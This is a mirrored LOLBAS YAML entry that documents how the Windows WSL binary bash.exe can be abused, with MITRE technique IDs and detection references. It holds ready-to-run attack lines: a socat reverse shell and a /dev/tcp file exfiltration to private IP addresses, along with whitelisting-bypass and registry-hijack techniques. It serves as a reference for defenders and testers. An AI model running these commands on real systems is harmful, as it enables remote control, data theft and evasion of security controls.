mirror of
https://github.com/LOLBAS-Project/LOLBAS
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68 lines
2.8 KiB
YAML
68 lines
2.8 KiB
YAML
---
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Name: Bash.exe
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Description: File used by Windows subsystem for Linux
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Author: Oddvar Moe
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Created: 2018-05-25
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Commands:
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- Command: bash.exe -c "{CMD}"
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Description: Executes executable from bash.exe
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Usecase: Performs execution of specified file, can be used as a defensive evasion.
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Category: Execute
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10
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Tags:
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- Execute: CMD
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- Command: bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
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Description: Executes a reverse shell
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Usecase: Performs execution of specified file, can be used as a defensive evasion.
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Category: Execute
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10
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Tags:
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- Execute: CMD
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- Command: bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'
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Description: Exfiltrate data
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Usecase: Performs execution of specified file, can be used as a defensive evasion.
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Category: Execute
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10
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Tags:
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- Execute: CMD
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- Command: bash.exe -c "{CMD}"
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Description: Executes executable from bash.exe
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Usecase: Performs execution of specified file, can be used to bypass Application Whitelisting.
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Category: AWL Bypass
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10
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Tags:
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- Execute: CMD
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- Command: bash.exe
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Description: When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.
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Usecase: Execute a payload as a child process of `bash.exe` while masquerading as WSL.
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Category: Execute
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows 10, Windows Server 2019, Windows 11
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Tags:
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- Execute: CMD
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Full_Path:
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- Path: C:\Windows\System32\bash.exe
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- Path: C:\Windows\SysWOW64\bash.exe
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Detection:
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- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
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- IOC: Child process from bash.exe
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Resources:
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- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
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- Link: https://cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/
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Acknowledgement:
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- Person: Alex Ionescu
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Handle: '@aionescu'
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- Person: Asif Matadar
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Handle: '@d1r4c'
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- Person: Liran Ravich, CardinalOps
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